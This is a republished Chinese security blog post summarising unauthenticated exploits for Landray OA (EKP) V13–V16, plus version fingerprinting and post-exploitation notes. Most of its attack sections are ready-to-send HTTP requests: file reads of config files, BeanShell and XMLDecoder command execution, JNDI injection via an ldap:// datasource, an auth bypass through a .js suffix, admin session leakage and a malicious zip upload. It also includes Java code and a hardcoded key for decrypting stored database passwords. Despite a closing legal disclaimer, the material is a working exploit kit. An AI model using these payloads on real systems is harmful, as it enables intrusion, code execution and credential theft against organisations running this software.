文章总结: 文章梳理蓝凌OAV13-V16前台可直接利用漏洞:V13的custom.jsp任意文件读取+代码执行、XmlDecoder/JDBC/JNDI链;V15/16因useSuffixPatternMatch=true致/data/sys-common/*xml.js绕过权限执行代码、泄露session及sysUiComponent任意文件上传,并给出版本识别、DES-ECB解密数据库口令与后渗透思路。 综合评分: 82 文章分类: 漏洞分析,红队,WEB安全,内网渗透,漏洞POC
蓝凌OA漏洞利用总结
StudySec
2026年1月8日 15:08 江苏
以下文章来源于安全回忆录 ,作者others
安全回忆录 .
代码审计、SRC分享、红蓝对抗、漏洞分析
基本介绍:
蓝凌是国内数字化办公专业服务商, 也是国内知名的大平台OA服务商, 为国内众多中大型组织企业提供数字化办公服务。蓝凌OA(EKP) 在近年来爆出许多大大小小的安全漏洞, 也是红蓝队重点关注的OA系统之一, 本文总结了蓝凌OA历史上的前台漏洞和一些后渗透思路, 后续不定期对蓝凌OA的相关历史漏洞进行分析。
蓝凌OA版本
通过对蓝凌oa各个大版本之间js文件的差异, 可初步判断蓝凌oa版本, 通过对蓝凌OA 系统是否存在某些js静态文件,结合其他师傅的分享, 简单判断出如下js文件对应的版本信息:
- 不存在/resource/js/aes.js则为V13
- 存在/resource/js/aes.js - 不存在 /resource/js/address.js 则为V14
- 存在/resource/js/address.js - 不存在/resource/js/dialog_ding.js 则为V15
- 存在/resource/js/dialog_ding.js则为V16
以上仅做参考, 可能部分小版本之间存在差异, 存在以下接口的情况优先通过该接口进行判断。
curl -v https://x.x.x.x/admin.do?method=exportModuleVersion
蓝凌OA权限认证
蓝凌oa采用acegi(spring security前身)权限校验框架, 所有的配置信息authentication\spring.xml中, 在配置文件匿名路径中的路径可直接匿名访问. 此外, 路径对应的权限在design.xml中配置, 如果这个path路径没有在design.xml中进行配置, 则不需要权限校验,相当于匿名访问, (如/sys/ui/extend/varkind/custom.jsp,还有今年的sysUiComponent文件上传, 这些漏洞路径不在匿名路径中,也不在design.xml中)。本文仅针对前台能直接利用的漏洞进行总结。
蓝凌V13
蓝凌V13版本漏洞相对较多, 前台还存在较多的未披露的漏洞, 如前台代码执行, SQL注入,密码逻辑漏洞等。本文仅总结已披露的前台能直接利用漏洞。
- #### custom.jsp文件读取
POST /ekp/sys/ui/extend/varkind/custom.jsp HTTP/1.1Host:192.168.1.2:8080Accept: text/html,application/xhtml xml,application/xml;q=0.9,*/*;q=0.8Accept-Language: zh-cnAccept-Encoding: gzip, deflateOrigin: nullConnection: closeUpgrade-Insecure-Requests: 1Content-Type: application/x-www-form-urlencodedContent-Length: 60
var={"body":{"file":"/WEB-INF/KmssConfig/admin.properties"}}
该漏洞通常配合几个后台漏洞进行利用:
Bsh代码执行:
POST /sys/ui/extend/varkind/custom.jsp HTTP/1.1Host: 192.168.1.2:8080Content-Type: application/x-www-form-urlencodedContent-Length: 143
var={"body":{"file":"/data/sys-common/datajson"}}&s_bean=sysFormulaValidate&script=Runtime.getRuntime().exec("whoami"
XmlDecoder反序列化:
POST /sys/ui/extend/varkind/custom.jsp HTTP/1.1Host: 192.168.1.2:8080Content-Type: application/x-www-form-urlencodedContent-Length: 328
var={"body":{"file":"/sys/search/sys_search_main/sysSearchMain.do?method=editParam"}}&fdParemNames=11&fdParameters=<java><void class="bsh.Interpreter"><void method="eval"><string>Runtime.getRuntime().exec("calc");</string></void></void></java>
JDBC反序列化和JNDI注入
POST /ekp/sys/ui/extend/varkind/custom.jsp HTTP/1.1Host: 192.168.1.2:8080User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:94.0) Gecko/20100101 Firefox/94.0Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2Accept-Encoding: gzip, deflateConnection: closeCookie: JSESSIONID=D79BB3CBC025C413692AEC9999FD2755Upgrade-Insecure-Requests: 1Cache-Control: max-age=0Content-Type: application/x-www-form-urlencodedContent-Length: 60
var={"body":{"file":"/WEB-INF/KmssConfig/admin.properties"}}
解密
JDBC/JNDI注入
POST /ekp/admin.do HTTP/1.1Host: 192.168.1.2:8080User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:94.0) Gecko/20100101 Firefox/94.0Accept: */*Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2Accept-Encoding: gzip, deflateOrigin: http://192.168.1.2:8080Connection: closeReferer: http://192.168.1.2:8080/ekp/admin.do?method=configCookie: JSESSIONID=D79BB3CBC025C413692AEC9999FD2755Content-MD5:lscmd:whoamiContent-Type: application/x-www-form-urlencodedContent-Length: 86
method=testDbConn&datasource=ldap://x.x.x.x/Basic/
蓝凌V15/V16
由于蓝凌OA V15/V16 useSuffixPatternMatch默认设置为true, 导致/data/sys-common/dataxml.js可匹配到/data/sys-common/dataxml, js走的是静态资源过滤器, 绕过了蓝凌oa权限校验。
1. 代码执行
POST /data/sys-common/dataxml.js HTTP/1.1Host: 192.168.1.2:8080User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:94.0) Gecko/20100101 Firefox/94.0Accept: */*Content-Type: application/x-www-form-urlencodedContent-Length: 65
s_bean=sysFormulaValidate&script=Runtime.getRuntime().exec("whoami");
以下几个接口均存在这个问题:
/data/sys-common/dataxml/data/sys-common/treexml/data/sys-common/datajson
2. session泄露
POST /api/sys-authentication/loginService/getLoginSessionId.html HTTP/1.1Host: 192.168.1.2:8080Content-Type: application/x-www-form-urlencodedContent-Length: 65
loginName=admin
3. sysUiComponent任意文件上传
POST /sys/ui/sys_ui_component/sysUiComponent.do?method=getThemeInfo&s_ajax=true HTTP/1.1Host: User-Agent: Mozilla/5.0 (Windows NT 10.0; WOW64; rv:52.0) Gecko/20100101 Firefox/52.0Content-Type: multipart/form-data; boundary=---------------------------WebKitFormBoundaryLX0kdyEWjxgO2xJP
-----------------------------WebKitFormBoundaryLX0kdyEWjxgO2xJPContent-Disposition: form-data; name="file"; filename="sec.zip"Content-Type: application/x-zip-compressed
zip文件-----------------------------WebKitFormBoundaryLX0kdyEWjxgO2xJP--
蓝凌oa后利用:
蓝凌OA数据库密码一般在目标服务器的ekp\WEB-INF\KmssConfig\kmssconfig.properties文件中, 其使用的加密算法为DES-ECB,密钥为kmssPropertiesKey。文件解密代码如下:
public static void decryptConf(String filename) throws Exception { ByteArrayOutputStream baos = new ByteArrayOutputStream(); byte[] bytes= Files.readAllBytes(new File(filename).toPath()); DESEncrypt des = new DESEncrypt("kmssPropertiesKey"); ByteArrayInputStream byteArrayInputStream= (ByteArrayInputStream) des.decrypt(new ByteArrayInputStream(bytes)); int ch=0; byte[] b=new byte[1024]; while ((ch=byteArrayInputStream.read(b))!=-1){ baos.write(b,0,ch); } System.out.println(new String(baos.toByteArray())); }
public static void main(String[] args) throws Exception { decryptConf("kmssconfig.properties"); }
蓝凌oa数据库账号表为sys_org_person 密码字段为:fd_password。
免责声明:
本文所载程序、技术方法仅面向合法合规的安全研究与教学场景,旨在提升网络安全防护能力,具有明确的技术研究属性。
任何单位或个人未经授权,将本文内容用于攻击、破坏等非法用途的,由此引发的全部法律责任、民事赔偿及连带责任,均由行为人独立承担,本站不承担任何连带责任。
本站内容均为技术交流与知识分享目的发布,若存在版权侵权或其他异议,请通过邮件联系处理,具体联系方式可点击页面上方的联系我。
本文转载自:StudySec 《蓝凌OA漏洞利用总结》
版权声明
本站仅做备份收录,仅供研究与教学参考之用。
读者将信息用于其他用途的,全部法律及连带责任由读者自行承担,本站不承担任何责任。








评论